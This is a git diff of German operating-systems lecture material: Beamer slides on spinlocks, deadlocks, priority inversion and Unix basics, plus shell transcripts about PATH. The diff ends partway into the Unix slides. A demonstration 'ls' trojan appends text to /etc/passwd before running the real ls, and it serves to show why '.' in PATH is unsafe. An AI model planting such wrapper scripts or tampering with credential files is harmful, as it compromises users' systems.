0; + + new.head_tail = old.head_tail + (1 << TICKET_SHIFT); + + /* cmpxchg is a full barrier, so nothing can move before it */ + return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(2.2,0.3){\line(0,1){0.4}} + \put(9.0,0.3){\line(-1,0){6.8}} + \put(9.0,0.3){\line(0,-1){1.45}} + \put(9.0,-1.15){\vector(-1,0){3.2}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: + + \medskip + + \begin{lstlisting} + #define cmpxchg(ptr, old, new) \ + __cmpxchg (ptr, old, new, sizeof (*(ptr))) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.0,0.5){\line(-1,0){1.8}} + \put(9.0,0.5){\line(0,-1){1.65}} + \put(9.0,-1.15){\vector(-1,0){2.2}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: + + \medskip + + \begin{lstlisting} + #define __cmpxchg(ptr, old, new, size) \ + __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(2.2,-0.1){\line(0,1){0.3}} + \put(9.0,-0.1){\line(-1,0){6.8}} + \put(9.0,-0.1){\line(0,-1){1.05}} + \put(9.0,-1.15){\vector(-1,0){2.2}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: + + \medskip + + \begin{lstlisting} + asm volatile (lock "cmpxchgl %2,%1" \ + : "=a" (__ret), "+m" (*__ptr) \ + : "r" (__new), "0" (__old) \ + : "memory"); + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.8,1.8){\vector(-1,0){0.6}} + \put(9.8,1.2){\line(0,1){0.6}} + \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} + \end{picture} + +\end{frame} + +\setlength{\pdfpageheight}{\normalpdfpageheight} + +%\sectionnonumber{Literaturempfehlung} +%\subsectionnonumber{Automotive Embedded Systeme} +% +%\begin{frame}[c] +% +% \showsectionnonumber +% +% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ +% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: +% +% \medskip +% +% \showsubsectionnonumber +% +% \vspace{-\medskipamount} +% +% Springer-Verlag, Berlin, Heidelberg 2005 +% +% \bigskip +% +% Lizenz: proprietär +% +% \medskip +% +% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) +% +%\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ressourcen reservieren + \begin{itemize} + \item + \newterm{Semaphor}\\ + gemeinsame Variable mehrerer Prozesse\\ + zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] + Ressource belegt \textarrow\ Kontextwechsel + \medskip + \item + \newterm{Mutex}\\ + Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ + auf eine Ressource zugreifen kann + \medskip + \item + \newterm{Spinlock} (\emph{busy waiting\/})\\ + leichtgewichtige Alternative zu Kontextwechsel + \medskip + \item + \newterm{Kritischer Abschnitt -- critical section}\\ + Programmabschnitt zwischen Reservierung\\ + und Freigabe einer Ressource\\ + \textarrow\ sollte immer so kurz wie möglich sein + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + \begin{picture}(0,0) + \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} + \end{picture}% + \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen + \begin{itemize} + \item + \newterm{Deadlock\/}: Prozeß wartet + \item + \newterm{Livelock\/}: Prozeß macht andere Dinge\\ + (z.\,B.\ \emph{busy waiting\/}) + \end{itemize} + + \pause + \bigskip + + Beispiel: Philosophenproblem + + \only<2-3>{% + \begin{itemize} + \item + 5 Philosophen, 5 Gabeln + \item + 2 Gabeln zum Essen notwendig + \item + Wer essen will, nimmt eine Gabel\\ + und wartet notfalls auf die zweite. + \item + Keiner legt eine einzelne Gabel\\ + wieder zurück. + \end{itemize} + Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] + \pause + \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ + \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] + } + \only<4->{% + \bigskip + + Bedingungen für Verklemmungen: + + \begin{minipage}[t]{4.5cm} + \begin{itemize} + \item + Exklusivität + \item + \newterm{hold and wait} + \item + Entzug nicht möglich + \item + zirkuläre Blockade + \end{itemize} + \end{minipage}\pause[5] + \begin{minipage}[t]{7.5cm} + \begin{itemize} + \arrowitem + Spooling + \arrowitem + simultane Zuteilung + \arrowitem + Prozesse suspendieren, beenden, \newterm{Rollback} + \arrowitem + Reihenfolge abhängig von Ressourcen + \end{itemize} + \end{minipage} + } + +\end{frame} + +\subsection{Prioritäten} + +\begin{frame} + + \showsection + \showsubsection + + Linux 0.01 + \begin{itemize} + \item + Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ + Prozeß mit höchstem Zähler bekommt Rechenzeit. + \item + Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ + bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. + \item + \emph{keine\/} harte Echtzeit + \arrowitem + \newterm{dynamische Prioritätenvergabe\/}:\\ + Rechenzeit hängt vom Verhalten des Prozesses ab + \end{itemize} + + \medskip + + Echtzeitbetriebssysteme + \begin{itemize} + \item + Prozesse können einen festen Anteil an Rechenzeit bekommen. + \item + Bei Ereignissen können Prozesse hoher Priorität\\ + Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. + \arrowitem + \newterm{statische Prioritätenvergabe} + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Echtzeitbetriebssysteme + \begin{itemize} + \item + Prozesse können einen festen Anteil an Rechenzeit bekommen. + \item + Bei Ereignissen können Prozesse hoher Priorität\\ + Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. + \end{itemize} + + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(0,3){\line(1,0){10}} + + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} + \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} + \alt<1>{% + \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} + }{% + \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} + } + \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + \put(0,1){\line(1,0){10}} + + \pause + + \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} + \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} + \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} + \put(0,2){\line(1,0){10}} + + \end{picture} + \end{center} + +\end{frame} + +\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} + +\begin{frame} + + \showsection + \showsubsection + + \only<4->{% + Der höher priorisierte Prozeß bewirkt selbst,\\ + daß er eine Ressource verspätet bekommt. + + \medskip + + \textarrow\ \newterm{begrenzte Prioritätsinversion} + + \medskip + + maximale Verzögerung: Länge des kritischen Bereichs + } + + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} + \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} + \only<3-4>{% + \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + {\thicklines + \put(3.3,2.95){\line(2,1){1.0}} + \put(3.3,3.45){\line(2,-1){1.0}}} + } + \only<5->{% + \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + } + \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} + \only<1-2>{% + \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + } + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(0,3){\line(1,0){10}} + + \only<2->{% + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} + \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} + \only<2-4>{% + \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} + \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \only<5->{% + \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} + \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} + \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} + } + \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} + \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + \put(0,1){\line(1,0){10}} + } + \end{picture} + \end{center} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + \visible<4->{% + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} + + \pause + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} + \only<2>{% + \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + {\thicklines + \put(3.3,2.95){\line(2,1){1.0}} + \put(3.3,3.45){\line(2,-1){1.0}}} + \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + } + \put(0,3){\line(1,0){10}} + + \only<2->{% + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} + \alt<1-4>{% + \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} + }{% + \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} + } + \only<2>{% + \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} + \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \only<3-4>{% + \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} +% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \only<2>{% + \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} + \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \put(0,1){\line(1,0){10}} + } + + \only<5->{% + \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} + \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} + \put(0,2){\line(1,0){10}} + } + \end{picture} + \end{center} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ \newterm{unbegrenzte Prioritätsinversion} + + \medskip + + Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 + + \only<1>{% + \begin{center} + \includegraphics[width=8.7cm]{pathfinder.jpg} + \end{center} + \vspace*{-1cm} + } + + \only<2->{% + \bigskip + + Gegenmaßnahmen + \begin{itemize} + \item + \newterm{Priority Inheritance -- Prioritätsvererbung}\\ + Der Besitzer des Mutex erbt die Priorität\\ + des Prozesses, der auf den Mutex wartet. + \smallskip + \item + \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ + Der Besitzer des Mutex bekommt sofort\\ + die Priorität des höchstmöglichen Prozesses,\\ + der evtl.\ den Mutex benötigen könnte. + \smallskip + \item + \newterm{Priority Aging}\\ + Die Priorität wächst mit der Wartezeit. + \pause[3] + \begin{picture}(0,0) + \put(1.2,2.5){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ + \begin{minipage}{4cm} + nur möglich, wenn\\ + Mutexe im Spiel sind + \end{minipage}}} + \end{picture} + \end{itemize} + \vspace*{-1cm} + } + +\end{frame} + +\fi + +\end{document} diff --git a/20210409/hello.c b/20210409/hello.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210409/hello.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20220314/logo-hochschule-bochum-cvh-text.pdf b/20210409/logo-hochschule-bochum-cvh-text.pdf similarity index 100% rename from 20220314/logo-hochschule-bochum-cvh-text.pdf rename to 20210409/logo-hochschule-bochum-cvh-text.pdf diff --git a/20220314/logo-hochschule-bochum.pdf b/20210409/logo-hochschule-bochum.pdf similarity index 100% rename from 20220314/logo-hochschule-bochum.pdf rename to 20210409/logo-hochschule-bochum.pdf diff --git a/20210409/ls b/20210409/ls new file mode 100755 index 0000000000000000000000000000000000000000..bcd0818450af6f9403c5644591c930be2d63242d --- /dev/null +++ b/20210409/ls @@ -0,0 +1,2 @@ +echo "Fiese Dinge" >> /etc/passwd +/bin/ls "$@" diff --git a/20220314/pathfinder.jpg b/20210409/pathfinder.jpg similarity index 100% rename from 20220314/pathfinder.jpg rename to 20210409/pathfinder.jpg diff --git a/20220314/pgslides.sty b/20210409/pgslides.sty similarity index 100% rename from 20220314/pgslides.sty rename to 20210409/pgslides.sty diff --git a/20220314/philosophenproblem.jpg b/20210409/philosophenproblem.jpg similarity index 100% rename from 20220314/philosophenproblem.jpg rename to 20210409/philosophenproblem.jpg diff --git a/20210409/shell-variables-1.txt b/20210409/shell-variables-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..0a5e0fe7047043f87deaae38767afb9b9413effa --- /dev/null +++ b/20210409/shell-variables-1.txt @@ -0,0 +1,25 @@ +cassini/home/peter/bo/2021ss/bs/20210409> t="ls -lrt" +cassini/home/peter/bo/2021ss/bs/20210409> $t +insgesamt 3012 +lrwxrwxrwx 1 peter peter 32 Apr 17 2016 philosophenproblem.jpg -> ../common/philosophenproblem.jpg +lrwxrwxrwx 1 peter peter 24 Apr 17 2016 pathfinder.jpg -> ../common/pathfinder.jpg +lrwxrwxrwx 1 peter peter 43 Apr 17 2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf +lrwxrwxrwx 1 peter peter 36 Apr 17 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf +lrwxrwxrwx 1 peter peter 45 Apr 17 2016 logo-hochschule-bochum-cvh-text.pdf -> ../common/logo-hochschule-bochum-cvh-text.pdf +lrwxrwxrwx 1 peter peter 22 Apr 13 2018 pgslides.sty -> ../common/pgslides.sty +-rw-r--r-- 1 peter peter 49866 Feb 15 16:38 yesvnc-wc-6.html +-rw-r--r-- 1 peter peter 19082 Apr 9 11:14 unix-20210409.tex +-rw-r--r-- 1 peter peter 149551 Apr 9 11:14 unix-20210409.pdf +-rw-r--r-- 1 peter peter 41934 Apr 9 12:08 bs-20210409.tex +-rw-r--r-- 1 peter peter 196 Apr 9 12:08 tmp.inputs +-rw-r--r-- 1 peter peter 340 Apr 9 12:08 bs-20210409-fig1.tex +-rw-r--r-- 1 peter peter 340 Apr 9 12:08 bs-20210409-fig2.tex +-rw-r--r-- 1 peter peter 5374 Apr 9 12:08 bs-20210409.vrb +-rw-r--r-- 1 peter peter 722 Apr 9 12:08 bs-20210409.toc +-rw-r--r-- 1 peter peter 0 Apr 9 12:08 bs-20210409.snm +-rw-r--r-- 1 peter peter 704 Apr 9 12:08 bs-20210409.out +-rw-r--r-- 1 peter peter 4733 Apr 9 12:08 bs-20210409.nav +-rw-r--r-- 1 peter peter 7882 Apr 9 12:08 bs-20210409.aux +-rw-r--r-- 1 peter peter 2691461 Apr 9 12:08 bs-20210409.pdf +-rw-r--r-- 1 peter peter 69148 Apr 9 12:08 bs-20210409.log +-rw-r--r-- 1 peter peter 939 Apr 9 13:11 projekte.txt diff --git a/20210409/shell-variables-2.txt b/20210409/shell-variables-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..f69a0e9ac0c2319f55a19626ccc192bef74477c3 --- /dev/null +++ b/20210409/shell-variables-2.txt @@ -0,0 +1,26 @@ +cassini/home/peter/bo/2021ss/bs/20210409> echo $PATH +/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games +cassini/home/peter/bo/2021ss/bs/20210409> which ls +/bin/ls +cassini/home/peter/bo/2021ss/bs/20210409> ls +bs-20210409.aux bs-20210409.toc philosophenproblem.jpg +bs-20210409-fig1.tex bs-20210409.vrb projekte.txt +bs-20210409-fig2.tex hello shell-variables-1.txt +bs-20210409.log hello.c tmp.inputs +bs-20210409.nav logo-hochschule-bochum-cvh-text.pdf unix-20210409.pdf +bs-20210409.out logo-hochschule-bochum.pdf unix-20210409.tex +bs-20210409.pdf Operating_system_placement-de.pdf yesvnc-wc-6.html +bs-20210409.snm pathfinder.jpg +bs-20210409.tex pgslides.sty +cassini/home/peter/bo/2021ss/bs/20210409> hello +bash: hello: Kommando nicht gefunden. +cassini/home/peter/bo/2021ss/bs/20210409> ./hello +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210409> /home/peter/bo/2021ss/bs/20210409/hello +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210409> PATH=".:$PATH" +cassini/home/peter/bo/2021ss/bs/20210409> echo $PATH +.:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games +cassini/home/peter/bo/2021ss/bs/20210409> hello +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210409> diff --git a/20210409/shell-variables-3.txt b/20210409/shell-variables-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..48d7663c0c30af96d6381cd7551cf75e145e8c85 --- /dev/null +++ b/20210409/shell-variables-3.txt @@ -0,0 +1,14 @@ +cassini/home/peter/bo/2021ss/bs/20210409> ls +./ls: Zeile 1: /etc/passwd: Keine Berechtigung +bs-20210409.aux bs-20210409.toc pgslides.sty +bs-20210409-fig1.tex bs-20210409.vrb philosophenproblem.jpg +bs-20210409-fig2.tex hello projekte.txt +bs-20210409.log hello.c shell-variables-1.txt +bs-20210409.nav logo-hochschule-bochum-cvh-text.pdf shell-variables-2.txt +bs-20210409.out logo-hochschule-bochum.pdf tmp.inputs +bs-20210409.pdf ls unix-20210409.pdf +bs-20210409.snm Operating_system_placement-de.pdf unix-20210409.tex +bs-20210409.tex pathfinder.jpg yesvnc-wc-6.html +cassini/home/peter/bo/2021ss/bs/20210409> cat ls +echo "Fiese Dinge" >> /etc/passwd +/bin/ls "$@" diff --git a/20210409/unix-20210409.pdf b/20210409/unix-20210409.pdf new file mode 100644 index 0000000000000000000000000000000000000000..8d636f941c718b6fb62d7dd359c769c769c9dcb9 Binary files /dev/null and b/20210409/unix-20210409.pdf differ diff --git a/20210409/unix-20210409.tex b/20210409/unix-20210409.tex new file mode 100644 index 0000000000000000000000000000000000000000..f466cba3fe1bfde8417ad862b2eb210a0ec1d298 --- /dev/null +++ b/20210409/unix-20210409.tex @@ -0,0 +1,759 @@ +% unix-20210409.pdf - Lecture Slides on Unix Fundamentals +% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021 Peter Gerwinski +% +% This document is free software: you can redistribute it and/or +% modify it either under the terms of the Creative Commons +% Attribution-ShareAlike 3.0 License, or under the terms of the +% GNU General Public License as published by the Free Software +% Foundation, either version 3 of the License, or (at your option) +% any later version. +% +% This document is distributed in the hope that it will be useful, +% but WITHOUT ANY WARRANTY; without even the implied warranty of +% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +% GNU General Public License for more details. +% +% You should have received a copy of the GNU General Public License +% along with this document. If not, see <http://www.gnu.org/licenses/>. +% +% You should have received a copy of the Creative Commons +% Attribution-ShareAlike 3.0 Unported License along with this +% document. If not, see <http://creativecommons.org/licenses/>. + +\documentclass[10pt,t]{beamer} + +\usepackage{pgslides} +\usepackage{rotating} +\usepackage{pdftricks} +\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} +\usepackage{eurosym} + +\title{Einführung in Unix} +\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} +\date{9.\ April 2021} + +\begin{document} + +\maketitleframe + +\sectionnonumber{U\quad Einführung in Unix} + +\begin{frame} + + \showsectionnonumber + +% \begingroup +% \large\color{structure}% +% \textbf{Angewandte Informatik: wichtiges Werkzeug} +% \par\smallskip +% \textbf{Grundlagen Rechnertechnik: Beispiel für Skriptsprache} +% \par\bigskip +% \endgroup + +% \begin{itemize} +% \item[\textbf{U}] \textbf{Einführung in Unix} + \begin{itemize} + \item[U.1] \color{red}Grundkonzepte + \item[U.2] Die Kommandozeile: Grundlagen + \item[U.3] Dateisysteme + \item[U.4] Ein- und Ausgabeströme + \item[U.5] Pipes + \item[U.6] Verzweigungen und Schleifen +% \item[\dots] + \end{itemize} +% \end{itemize} + +\end{frame} + +\subsectionnonumber{U.1\quad Grundkonzepte} + +\begin{frame} + + \begin{minipage}[b]{6.5cm} + \showsectionnonumber + \vspace{-\medskipamount} + \showsubsectionnonumber + \end{minipage} + + \begin{description} + \addtolength{\leftskip}{-1cm} + \item[1965] + Vorgänger: Multics (Multiplexed Information and Computing Service)\\ + "`überladen"' + \item[1970] + Unix: Einfachheit als Grundkonzept + \item[1972] + Umstellung auf neu entwickelte Programmiersprache C + \item[1975] + AT\&T: Unix inkl.\ Quelltext für Universitäten + \item[1977] + Berkeley Software Distribution (BSD) + \item[1983] + GNU-Projekt + \item[1987] + Minix + \item[1991] + Linux + \item[1993] + FreeBSD, NetBSD + \item[1994] + OpenBSD + \item[2000] + Darwin (Mac OS X, BSD-basiert) + \item[2008] + Android (Linux-basiert) + \end{description} + +\end{frame} + +\begin{frame}[fragile] + + \begin{minipage}[b]{6.5cm} + \showsectionnonumber + \vspace{-\medskipamount} + \showsubsectionnonumber + + Unix und C: Einfachheit als Grundkonzept +% \vspace{-\bigskipamount} + \begin{itemize} + \item + Vermeiden von Ausnahmen + \item[\color{lightgray}$\bullet$] + \color{lightgray}Baukastensystem + \end{itemize} + \medskip + \end{minipage}\hspace*{0.5cm}% + \begin{minipage}[b]{5cm} + C: Hauptprogramm\\ + = "`normale"' Funktion + + \medskip + + \begin{lstlisting}[gobble=6] + int main (int argc, char **argv) + { + printf ("Hello, world!\n"); + return 0; + } + \end{lstlisting} + \vspace{-\bigskipamount} + \end{minipage} + + \bigskip + \bigskip + + Unix: übergeordnetes Verzeichnis = "`normales"' Verzeichnis + + \medskip + + \begin{lstlisting}[style=terminal] + cassini/home/peter/foo> ¡ls -la¿ + insgesamt 24 + drwxr-xr-x 2 peter peter 4096 Okt 6 13:30 . + drwxr-xr-x 172 peter peter 20480 Okt 6 13:30 .. + cassini/home/peter/foo> ¡cd ..¿ + cassini/home/peter> + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \begin{minipage}[b]{6.5cm} + \showsectionnonumber + \vspace{-\medskipamount} + \showsubsectionnonumber + + Unix und C: Einfachheit als Grundkonzept +% \vspace{-\bigskipamount} + \begin{itemize} + \item + Vermeiden von Ausnahmen + \item + Baukastensystem + \end{itemize} + \end{minipage}\hspace*{0.3cm}% + \begin{minipage}[b]{6cm} + C: Bibliotheken + \begin{itemize} + \item + Grundfunktionen: \file{libc} + \item + 3d-Grafik -- Kernfunktion: \file{libGL} + \item + 3d-Grafik -- Utilities: \file{libGLU} + \item + 3d-Grafik -- Utility Toolkit: \file{libglut} + \item + \dots + \end{itemize} + \vspace*{-0.5cm} + \end{minipage} + + \bigskip + \bigskip + + Unix: Programme arbeiten zusammen + + \medskip + + \begingroup\small + + \begin{lstlisting}[style=terminal] + cassini/home/peter/bo> ¡find . -name "*klausur*.tex" \ + | grep -v "fig" | less¿ + ./2013ss/net/script/slides/net-probeklausur-20120712.tex + ./2013ss/net/20130924.0/net-klausur-20130924.tex + ./2011ws/rarch/20120322.0/rarch-klausur-20120322.tex + ... + ./2012ss/hs/20130318.0/hs-klausur-20130318.tex + ./2012ss/hs/20120715.0/hs-probeklausur-20120715.tex + ./2012ss/hs/20120720.0/hs-klausur-20120720.tex + \end{lstlisting} + + \endgroup + +\end{frame} + +\subsectionnonumber{U.2\quad Die Kommandozeile: Grundlagen} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + Programm aufrufen: Namen eingeben, z.\,B.: \lstinline[style=cmd]{ls} + \item + Optionen: \lstinline[style=cmd]{ls -l} + \item + Lange Optionen (GNU-Konvention): \lstinline[style=cmd]{ls --help} + \medskip + \item + Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} + \item + (String-)Variable setzen: \lstinline[style=cmd]{FOO=bar} + \item + Variable abrufen: \lstinline[style=cmd]{echo $FOO} + \end{itemize} + + \pause + \begin{lstlisting}[style=terminal] + cassini/home/peter/bo> ¡FOO=ls¿ + cassini/home/peter/bo> ¡echo $FOO¿ + ls + cassini/home/peter/bo> ¡$FOO¿ + 2011ws 2012ws 2013ws doc misc projekte + 2012ss 2013ss briefe material orga + cassini/home/peter/bo> + \end{lstlisting} + +\end{frame} + +\begin{frame} + + \showsubsectionnonumber + + \begin{itemize} + \item + Befehl zurückholen: Pfeiltasten $\uparrow$, $\downarrow$ + \item + Befehl bearbeiten: Pfeiltasten $\leftarrow$, $\rightarrow$ usw. + \item + Befehl vervollständigen: TAB + \item + Befehl rückwärts suchen: Ctrl+R + \item + Bildschirm löschen: Ctrl+L + \item + Befehl abbrechen: Ctrl+C + \bigskip + \pause + \item + Hilfe-Option: \lstinline[style=cmd]{ls --help} + \item + Unix-Handbuch -- \emph{manual\/}: \lstinline[style=cmd]{man ls}\\ + (Beenden mit \lstinline[style=cmd]{q}) + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsubsectionnonumber + + \begin{itemize} + \item + Verzeichnisse für Programme: \lstinline[style=cmd]{echo $PATH} + \item + Programm in explizitem Verzeichnis aufrufen: \lstinline[style=cmd]{/bin/ls -l} + \item + Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello} + \bigskip + + \addtolength{\leftskip}{1cm} + \item[MS-DOS:] + Ausführbare Programme werden gefunden,\\ + wenn sie im \lstinline[style=terminal]{PATH} stehen\\ + \emph{oder\/} sich im aktuellen Verzeichnis befinden. + \smallskip + \item[Unix:] + Ausführbare Programme werden gefunden,\\ + wenn sie im \lstinline[style=terminal]{PATH} stehen. + + \smallskip + \textarrow\ Vermeiden von Ausnahmen + + \pause + \smallskip + Das aktuelle Verzeichnis (\lstinline[style=terminal]{.}) + \emph{kann\/} im \lstinline[style=terminal]{PATH} stehen,\\ + muß dies aber nicht\only<2>{ --\\ + und sollte es aus Sicherheitsgründen auch nicht}. + + \end{itemize} + +\end{frame} + +\subsectionnonumber{U.3\quad Dateisysteme} + +\begin{frame} + + \showsubsectionnonumber + + \begin{itemize} + \item + Dateien listen: \lstinline[style=cmd]{ls}\\ + langes Listenformat: \lstinline[style=cmd]{ls -l}\\ + rückwärts nach Zeit sortiert: \lstinline[style=cmd]{ls -lrt} + \item + Datei ausgeben: \lstinline[style=cmd]{cat hello.c} + \item + Datei anzeigen: \lstinline[style=cmd]{less hello.c} + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + 